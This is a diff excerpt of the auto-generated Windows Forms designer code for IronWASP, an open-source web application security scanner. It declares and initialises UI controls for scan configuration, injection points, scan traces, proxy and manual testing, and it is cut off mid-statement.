System.Windows.Forms.DataGridViewTextBoxColumn ASRequestBodyNameColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestBodyValueColumn; - internal System.Windows.Forms.DataGridView ASRequestScanBodyTypeNormalGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn1; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn15; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn16; - private System.Windows.Forms.Label label37; - private System.Windows.Forms.Label label39; - private System.Windows.Forms.Label label38; - internal System.Windows.Forms.RichTextBox ASRequestCustomInjectionPointsHighlightTB; - internal System.Windows.Forms.TextBox ASCustomEndMarkerTB; - internal System.Windows.Forms.TextBox ASCustomStartMarkerTB; - internal System.Windows.Forms.Label ASRequestCustomInjectionPointsHighlightLbl; - internal System.Windows.Forms.TabControl ASBodyInjectTypeTabs; - internal System.Windows.Forms.Button ASClearScanBtn; - private System.Windows.Forms.Panel panel2; - private System.Windows.Forms.LinkLabel ASStartAllStoppedAndAbortedScansLL; - private System.Windows.Forms.LinkLabel ASStopAllScansLL; - internal System.Windows.Forms.CheckBox ASRequestScanParameterNamesCB; - private System.Windows.Forms.TabPage ASRequestParameterNamesTab; - private System.Windows.Forms.TextBox textBox1; - private System.Windows.Forms.TabPage mt_hawas; - private System.Windows.Forms.Button CreateNewTestRequestBtn; - private System.Windows.Forms.TextBox textBox2; - internal System.Windows.Forms.ListView TestGroupsLV; - private System.Windows.Forms.Label label36; - private System.Windows.Forms.LinkLabel MTDeleteGroupLL; - private System.Windows.Forms.LinkLabel MTRenameGroupLL; - private System.Windows.Forms.Label label40; - private System.Windows.Forms.Label label41; - private System.Windows.Forms.LinkLabel TestAdvancedOptionsHelpLL; - private System.Windows.Forms.Panel panel4; - internal System.Windows.Forms.TextBox MTCurrentGroupNameTB; - internal System.Windows.Forms.TextBox TestGroupsTitleTB; - internal System.Windows.Forms.TabControl MTResponseSideTabs; - private System.Windows.Forms.TabPage MTResponseTab; - internal System.Windows.Forms.Button MTFollowRedirectBtn; - private System.Windows.Forms.TabPage MTGroupHistoryTab; - internal System.Windows.Forms.Button MTGetRedirectBtn; - private System.Windows.Forms.TabControl ScanTraceTabs; - private System.Windows.Forms.TabPage ScanTraceOverviewTab; - private System.Windows.Forms.TabPage ScanTraceDetailedInfoTab; - internal System.Windows.Forms.DataGridView ScanTraceOverviewGrid; - private System.Windows.Forms.DataGridViewTextBoxColumn Column4; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn17; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn18; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn19; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn20; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn21; - private System.Windows.Forms.DataGridViewTextBoxColumn Column5; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn22; - internal RequestView LogRequestView; - internal ResponseView LogResponseView; - internal RequestView ProxyRequestView; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn9; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn27; - private System.Windows.Forms.Panel ProxyBottomPanel; - internal System.Windows.Forms.Label SessionPluginLbl; - private System.Windows.Forms.TextBox textBox3; - internal System.Windows.Forms.Panel ScanDisplayPanel; - internal System.Windows.Forms.Panel ScanTopPanel; - internal System.Windows.Forms.SplitContainer ScanJobsBaseSplit; - internal System.Windows.Forms.Button StartLogAnalyzerBtn; - private System.Windows.Forms.SplitContainer ScanTraceTopSplit; - private System.Windows.Forms.SplitContainer ScanTraceBottomSplit; - internal System.Windows.Forms.Label label4; - private System.Windows.Forms.Button LoadSelectedTraceBtn; - private System.Windows.Forms.SplitContainer LogsBottomSplit; - private System.Windows.Forms.SplitContainer LogsTopSplit; - private System.Windows.Forms.SplitContainer MTFirstBaseSplit; - private System.Windows.Forms.SplitContainer MTBaseTopSplit; - private System.Windows.Forms.SplitContainer TestBaseRequestSplit; - private System.Windows.Forms.SplitContainer ScanJobsBottomSplit; - private System.Windows.Forms.SplitContainer ScanJobsTopSplit; - internal ResponseView ProxyResponseView; - internal ResponseView TestResponseView; - internal RequestView TestRequestView; - private System.Windows.Forms.SplitContainer TestGroupHistoryBaseSplit; - private System.Windows.Forms.Button TestGroupHistoryDoDiffBtn; - private System.Windows.Forms.DataGridViewCheckBoxColumn TestGroupLogGridForSelect; - private System.Windows.Forms.DataGridViewTextBoxColumn TestGroupLogGridForID; - private System.Windows.Forms.DataGridViewTextBoxColumn TestGroupLogGridForHost; - private System.Windows.Forms.DataGridViewTextBoxColumn TestGroupLogGridForMethod; - private System.Windows.Forms.DataGridViewTextBoxColumn TestGroupLogGridForURL; - private System.Windows.Forms.DataGridViewCheckBoxColumn TestGroupLogGridForSSL; - private System.Windows.Forms.DataGridViewTextBoxColumn TestGroupLogGridForCode; - private System.Windows.Forms.DataGridViewTextBoxColumn TestGroupLogGridForLength; - private System.Windows.Forms.DataGridViewTextBoxColumn TestGroupLogGridForMIME; - private System.Windows.Forms.DataGridViewCheckBoxColumn TestGroupLogGridForSetCookie; - private System.Windows.Forms.TabControl TraceMainTabs; - private System.Windows.Forms.TabPage SessionPluginTraceTab; - private System.Windows.Forms.TabPage DebugTraceTab; - private System.Windows.Forms.SplitContainer SessionPluginTraceBaseSplit; - internal System.Windows.Forms.DataGridView SessionPluginTraceGrid; - private System.Windows.Forms.TabPage SessionPluginTraceMessageTab; - internal System.Windows.Forms.RichTextBox SessionPluginTraceMsgRTB; - private System.Windows.Forms.TabPage SessionPluginTraceLogViewTab; - internal System.Windows.Forms.TabControl SessionPluginTraceSessionTabs; - private System.Windows.Forms.TabPage tabPage12; - internal RequestView SessionPluginTraceRequestView; - private System.Windows.Forms.TabPage tabPage3; - internal ResponseView SessionPluginTraceResponseView; - private System.Windows.Forms.SplitContainer SessionPluginTraceMsgBaseSplit; - private System.Windows.Forms.TextBox textBox4; - internal System.Windows.Forms.ProgressBar SessionPluginTraceLoadLogProgressBar; - internal System.Windows.Forms.TabControl SessionPluginTraceBottomTabs; - private System.Windows.Forms.DataGridViewTextBoxColumn SessionPluginTraceIdClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn SessionPluginTraceLogIdClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn SessionPluginTraceLogSourceClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn SessionPluginTracePluginNameClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn SessionPluginTraceActionClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn SessionPluginTraceMessageClmn; - internal System.Windows.Forms.Button SessionPluginTraceLoadLogBtn; - private System.Windows.Forms.Button MTMaximizeRequestViewBtn; - private System.Windows.Forms.Button MTMaximizeResponseViewBtn; - private System.Windows.Forms.Panel panel3; - private System.Windows.Forms.TextBox textBox5; - internal System.Windows.Forms.Button ShowScriptCreationAssistantBtn; - private System.Windows.Forms.TabPage ProxyScriptedInterceptTab; - internal System.Windows.Forms.TextBox ScriptedInterceptionErrorTB; - internal System.Windows.Forms.RichTextBox ScriptedInterceptionScriptBottomRTB; - private System.Windows.Forms.Label label42; - internal System.Windows.Forms.CheckBox ScriptedInterceptionActivateScriptCB; - private System.Windows.Forms.RadioButton ScriptedInterceptionRubyRB; - private System.Windows.Forms.RadioButton ScriptedInterceptionPythonRB; - private CodeTextBox ScriptedInterceptionCTB; - private System.Windows.Forms.SplitContainer ScriptedInterceptionBaseSplit; - private System.Windows.Forms.LinkLabel ShowScriptedInterceptionTemplateLL; - internal System.Windows.Forms.RichTextBox ScriptedInterceptionScriptTopRTB; - private System.Windows.Forms.Panel panel5; - private System.Windows.Forms.TextBox textBox6; - private System.Windows.Forms.SplitContainer ScriptedInterceptionBottomSplit; - internal System.Windows.Forms.Button ProxyDropBtn; - internal System.Windows.Forms.Button ProxySendBtn; - internal System.Windows.Forms.SplitContainer ProxyBaseSplit; - private System.Windows.Forms.DataGridViewTextBoxColumn LogSource; - private System.Windows.Forms.LinkLabel ShowScriptedSendTemplateLL; - private System.Windows.Forms.TabPage ProxyHelpTab; - private System.Windows.Forms.TextBox ProxyHelpTB; - private System.Windows.Forms.TabPage MTHelp; - private System.Windows.Forms.TextBox MTHelpTB; - private System.Windows.Forms.TabPage tabPage1; - private System.Windows.Forms.TextBox LogsHelpTB; - private System.Windows.Forms.TabPage ScriptingHelpTP; - private System.Windows.Forms.TextBox ScriptingHelpTB; - private System.Windows.Forms.TabPage DevHelpTab; - private System.Windows.Forms.TextBox DevHelpTB; - internal System.Windows.Forms.CheckBox ASRequestScanHeadersParameterNameCB; - internal System.Windows.Forms.CheckBox ASRequestScanCookieParameterNameCB; - internal System.Windows.Forms.CheckBox ASRequestScanBodyParameterNameCB; - internal System.Windows.Forms.CheckBox ASRequestScanQueryParameterNameCB; - private System.Windows.Forms.ToolStripMenuItem codingAssistantsToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem scriptCreationAssistantToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem sessionPluginCreationAssistantToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem activePluginCreationAssistantToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem passivePluginCreationAssistantToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem moduleCreationAssistantToolStripMenuItem; - private System.Windows.Forms.Button LaunchPayloadEffectAnalyzerBtn; - internal System.Windows.Forms.LinkLabel TestUpdateCookieStoreLL; - internal System.Windows.Forms.LinkLabel TestUpdateFromCookieStoreLL; - private System.Windows.Forms.LinkLabel ViewProxyInterceptionConfigLink; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.LinkLabel ViewProxyDisplayFilterLink; - private System.Windows.Forms.Label label28; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn32; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn35; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn36; - private System.Windows.Forms.DataGridViewTextBoxColumn Column2; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn37; - private System.Windows.Forms.DataGridViewTextBoxColumn Column3; - private System.Windows.Forms.TabPage ResultsTriggerHighlightTab; - internal System.Windows.Forms.RichTextBox TriggerHighlightRTB; - private System.Windows.Forms.TabPage ResultsTriggerToolsTab; - private System.Windows.Forms.TabPage ResultsHelpTab; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.LinkLabel ResultsShowTriggersMenuLL; - private System.Windows.Forms.Label label32; - internal System.Windows.Forms.Panel ResultsTriggersComparePanel; - internal System.Windows.Forms.Panel ResultsScanTracePanel; - internal System.Windows.Forms.Panel ResultsTriggerOptionsPanel; - internal System.Windows.Forms.DataGridView SelectForDiffTriggersGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn SelectClmn; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; - private System.Windows.Forms.Button DoDiffBtn; - private System.Windows.Forms.TextBox textBox7; - private System.Windows.Forms.Button ResultsShowScanTraceBtn; - internal RequestView ResultsRequestView; - internal ResponseView ResultsResponseView; - private System.Windows.Forms.SplitContainer TrigggerAnalysisToolsSplit; - private System.Windows.Forms.Label label6; - private System.Windows.Forms.Label label33; - internal System.Windows.Forms.Label ProxyPortLbl; - internal System.Windows.Forms.Label ProxyLoopbackLbl; - private System.Windows.Forms.ToolStripMenuItem generateReportToolStripMenuItem; - private System.Windows.Forms.Label label8; - } -} - +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class Main + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle31 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle32 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle33 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle34 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle35 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle36 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle37 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle38 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle39 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle10 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle11 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle12 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle13 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle14 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle40 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle15 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle17 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle18 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle41 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle19 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle42 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle43 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle44 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle45 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle46 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle47 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle48 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle49 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle50 = new System.Windows.Forms.DataGridViewCellStyle(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main)); + this.split_main = new System.Windows.Forms.SplitContainer(); + this.IronTree = new System.Windows.Forms.TreeView(); + this.IronTreeMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.ScanBranchToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.RunModulesOnFindingToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.RunModulesOnUrlToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.main_tab = new System.Windows.Forms.TabControl(); + this.mt_console = new System.Windows.Forms.TabPage(); + this.label11 = new System.Windows.Forms.Label(); + this.label8 = new System.Windows.Forms.Label(); + this.MainDocLL = new System.Windows.Forms.LinkLabel(); + this.ScanJobsCompletedLbl = new System.Windows.Forms.Label(); + this.ScanJobsCreatedLbl = new System.Windows.Forms.Label(); + this.CrawlerRequestsLbl = new System.Windows.Forms.Label(); + this.ConsoleStatusTB = new System.Windows.Forms.TextBox(); + this.label30 = new System.Windows.Forms.Label(); + this.ConsoleStartScanBtn = new System.Windows.Forms.Button(); + this.richTextBox2 = new System.Windows.Forms.RichTextBox(); + this.label29 = new System.Windows.Forms.Label(); + this.ConsoleScanUrlTB = new System.Windows.Forms.TextBox(); + this.mt_auto = new System.Windows.Forms.TabPage(); + this.ASMainTabs = new System.Windows.Forms.TabControl(); + this.ASConfigureTab = new System.Windows.Forms.TabPage(); + this.ScanJobsBaseSplit = new System.Windows.Forms.SplitContainer(); + this.ScanDisplayPanel = new System.Windows.Forms.Panel(); + this.ASBaseTabs = new System.Windows.Forms.TabControl(); + this.ASRequestTab = new System.Windows.Forms.TabPage(); + this.ScanJobsTopSplit = new System.Windows.Forms.SplitContainer(); + this.ASRequestScanFullTabs = new System.Windows.Forms.TabControl(); + this.tabPage20 = new System.Windows.Forms.TabPage(); + this.ASRequestRawHeadersIDV = new IronDataView.IronDataView(); + this.tabPage21 = new System.Windows.Forms.TabPage(); + this.ASRequestRawBodyIDV = new IronDataView.IronDataView(); + this.ASRequestScanBodyCB = new System.Windows.Forms.CheckBox(); + this.ASRequestScanParameterNamesCB = new System.Windows.Forms.CheckBox(); + this.ASRequestScanAllCB = new System.Windows.Forms.CheckBox(); + this.ASRequestScanHeadersCB = new System.Windows.Forms.CheckBox(); + this.ASRequestScanQueryCB = new System.Windows.Forms.CheckBox(); + this.ASRequestScanCookieCB = new System.Windows.Forms.CheckBox(); + this.ASRequestScanURLCB = new System.Windows.Forms.CheckBox(); + this.ASInjectHeaderLbl = new System.Windows.Forms.Label(); + this.ASInjectionPointTab = new System.Windows.Forms.TabPage(); + this.ASRequestTabs = new System.Windows.Forms.TabControl(); + this.ASRequestURLTab = new System.Windows.Forms.TabPage(); + this.ASRequestScanURLGrid = new System.Windows.Forms.DataGridView(); + this.ASRequestURLSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ASRequestURLPositionColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ASRequestURLValueColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ASRequestQueryTab = new System.Windows.Forms.TabPage(); + this.ASRequestScanQueryGrid = new System.Windows.Forms.DataGridView(); + this.ASRequestQuerySelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ASRequestQueryNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ASRequestQueryValueColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ASRequestBodyTab = new System.Windows.Forms.TabPage(); + this.ASBodyInjectTypeTabs = new System.Windows.Forms.TabControl(); + this.ASBodyTypeNormalTab = new System.Windows.Forms.TabPage(); + this.ASRequestScanBodyTypeNormalGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn1 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn15 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn16 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ASBodyTypeFormatPluginTab = new System.Windows.Forms.TabPage(); + this.ASRequestBodyTabSplit = new System.Windows.Forms.SplitContainer(); + this.ConfigureScanRequestFormatPluginsGrid = new System.Windows.Forms.DataGridView(); + this.ASRequestBodyDataFormatSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ASRequestBodyDataFormatColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ASRequestScanBodyTabs = new System.Windows.Forms.TabControl(); + this.ASRequestScanBodyGridTab = new System.Windows.Forms.TabPage(); + this.ConfigureScanRequestBodyTypeFormatPluginGrid = new System.Windows.Forms.DataGridView(); + this.ASRequestBodySelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ASRequestBodyNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ASRequestBodyValueColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ASRequestScanBodyXMLTab = new System.Windows.Forms.TabPage(); + this.ConfigureScanRequestFormatXMLTB = new System.Windows.Forms.TextBox(); + this.ASBodyTypeCustomTab = new System.Windows.Forms.TabPage(); + this.ASRequestCustomInjectionPointsHighlightTB = new System.Windows.Forms.RichTextBox(); + this.ASRequestCustomInjectionPointsHighlightLbl = new System.Windows.Forms.Label(); + this.label37 = new System.Windows.Forms.Label(); + this.ASCustomEndMarkerTB = new System.Windows.Forms.TextBox(); + this.ASCustomStartMarkerTB = new System.Windows.Forms.TextBox(); + this.label38 = new System.Windows.Forms.Label(); + this.label39 = new System.Windows.Forms.Label(); + this.ASRequestCookieTab = new System.Windows.Forms.TabPage(); + this.ASRequestScanCookieGrid = new System.Windows.Forms.DataGridView(); + this.ASRequestCookieSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ASRequestCookieNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ASRequestCookieValueColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ASRequestHeadersTab = new System.Windows.Forms.TabPage(); + this.ASRequestScanHeadersGrid = new System.Windows.Forms.DataGridView(); + this.ASRequestHeadersSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ASRequestHeadersNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ASRequestHeadersValueColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ASRequestParameterNamesTab = new System.Windows.Forms.TabPage(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.ASRequestScanHeadersParameterNameCB = new System.Windows.Forms.CheckBox(); + this.ASRequestScanCookieParameterNameCB = new System.Windows.Forms.CheckBox(); + this.ASRequestScanBodyParameterNameCB = new System.Windows.Forms.CheckBox(); + this.ASRequestScanQueryParameterNameCB = new System.Windows.Forms.CheckBox(); + this.ASExceptionTB = new System.Windows.Forms.TextBox(); + this.SessionPluginLbl = new System.Windows.Forms.Label(); + this.ASScanPluginsGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn9 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn27 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ConfigureScanRequestSSLCB = new System.Windows.Forms.CheckBox(); + this.ScanStatusLbl = new System.Windows.Forms.Label(); + this.ASClearScanBtn = new System.Windows.Forms.Button(); + this.ScanIDLbl = new System.Windows.Forms.Label(); + this.ASStartScanBtn = new System.Windows.Forms.Button(); + this.ScanTopPanel = new System.Windows.Forms.Panel(); + this.textBox3 = new System.Windows.Forms.TextBox(); + this.ScanJobsBottomSplit = new System.Windows.Forms.SplitContainer(); + this.ASQueueGrid = new System.Windows.Forms.DataGridView(); + this.ASQueueGridScanID = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ASQueueGridStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ASQueueGridMethod = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ASQueueGridURL = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanQueueMenu = new System.Windows.Forms.ContextMenuStrip(this.components); + this.StartAllStoppedAndAbortedScansToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.StopAllScansToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.StopThisScanJobToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.panel2 = new System.Windows.Forms.Panel(); + this.ASStartAllStoppedAndAbortedScansLL = new System.Windows.Forms.LinkLabel(); + this.ConfigScannerThreadMaxCountLbl = new System.Windows.Forms.Label(); + this.ConfigScannerSettingsCancelChangesLL = new System.Windows.Forms.LinkLabel(); + this.ASStopAllScansLL = new System.Windows.Forms.LinkLabel(); + this.ConfigScannerSettingsApplyChangesLL = new System.Windows.Forms.LinkLabel(); + this.label31 = new System.Windows.Forms.Label(); + this.ConfigScannerThreadMaxCountTB = new System.Windows.Forms.TrackBar(); + this.ASTraceTab = new System.Windows.Forms.TabPage(); + this.ScanTraceBaseSplit = new System.Windows.Forms.SplitContainer(); + this.ScanTraceTopSplit = new System.Windows.Forms.SplitContainer(); + this.LaunchPayloadEffectAnalyzerBtn = new System.Windows.Forms.Button(); + this.ScanTraceStatusLbl = new System.Windows.Forms.Label(); + this.ScanTraceBackFourBtn = new System.Windows.Forms.Button(); + this.ScanTraceStatLbl = new System.Windows.Forms.Label(); + this.ScanTraceBackTwoBtn = new System.Windows.Forms.Button(); + this.ScanTraceFrontFourBtn = new System.Windows.Forms.Button(); + this.ScanTraceFrontOneBtn = new System.Windows.Forms.Button(); + this.ScanTraceBackOneBtn = new System.Windows.Forms.Button(); + this.ScanTraceBackThreeBtn = new System.Windows.Forms.Button(); + this.ScanTraceFrontThreeBtn = new System.Windows.Forms.Button(); + this.ScanTraceFrontTwoBtn = new System.Windows.Forms.Button(); + this.ScanTraceGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewTextBoxColumn32 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn35 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn36 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn37 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanTraceBottomSplit = new System.Windows.Forms.SplitContainer(); + this.label4 = new System.Windows.Forms.Label(); + this.LoadSelectedTraceBtn = new System.Windows.Forms.Button(); + this.ScanTraceTabs = new System.Windows.Forms.TabControl(); + this.ScanTraceOverviewTab = new System.Windows.Forms.TabPage(); + this.ScanTraceOverviewGrid = new System.Windows.Forms.DataGridView(); + this.Column4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn17 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn18 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn19 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn20 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn21 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column5 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn22 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ScanTraceDetailedInfoTab = new System.Windows.Forms.TabPage(); + this.ScanTraceMsgRTB = new System.Windows.Forms.RichTextBox(); + this.mt_manual = new System.Windows.Forms.TabPage(); + this.MTFirstBaseSplit = new System.Windows.Forms.SplitContainer(); + this.MTBaseTopSplit = new System.Windows.Forms.SplitContainer(); + this.CreateNewTestRequestBtn = new System.Windows.Forms.Button(); + this.textBox2 = new System.Windows.Forms.TextBox(); + this.TestGroupsLV = new System.Windows.Forms.ListView(); + this.TestGroupsTitleTB = new System.Windows.Forms.TextBox(); + this.MTBaseSplit = new System.Windows.Forms.SplitContainer(); + this.TestBaseRequestSplit = new System.Windows.Forms.SplitContainer(); + this.TestUpdateFromCookieStoreLL = new System.Windows.Forms.LinkLabel(); + this.NextTestLog = new System.Windows.Forms.Button(); + this.MTExceptionTB = new System.Windows.Forms.TextBox(); + this.MTDeleteGroupLL = new System.Windows.Forms.LinkLabel(); + this.TestIDLbl = new System.Windows.Forms.Label(); + this.MTCurrentGroupNameTB = new System.Windows.Forms.TextBox(); + this.PreviousTestLog = new System.Windows.Forms.Button(); + this.MTRenameGroupLL = new System.Windows.Forms.LinkLabel(); + this.label36 = new System.Windows.Forms.Label(); + this.label40 = new System.Windows.Forms.Label(); + this.MTMaximizeRequestViewBtn = new System.Windows.Forms.Button(); + this.LogMenu = new System.Windows.Forms.ContextMenuStrip(this.components); + this.SelectForManualTestingToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.SelectForAutomatedScanningToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.SelectResponseForJavaScriptTestingToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.CopyRequestToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.CopyResponseToolStripMenuItem = new 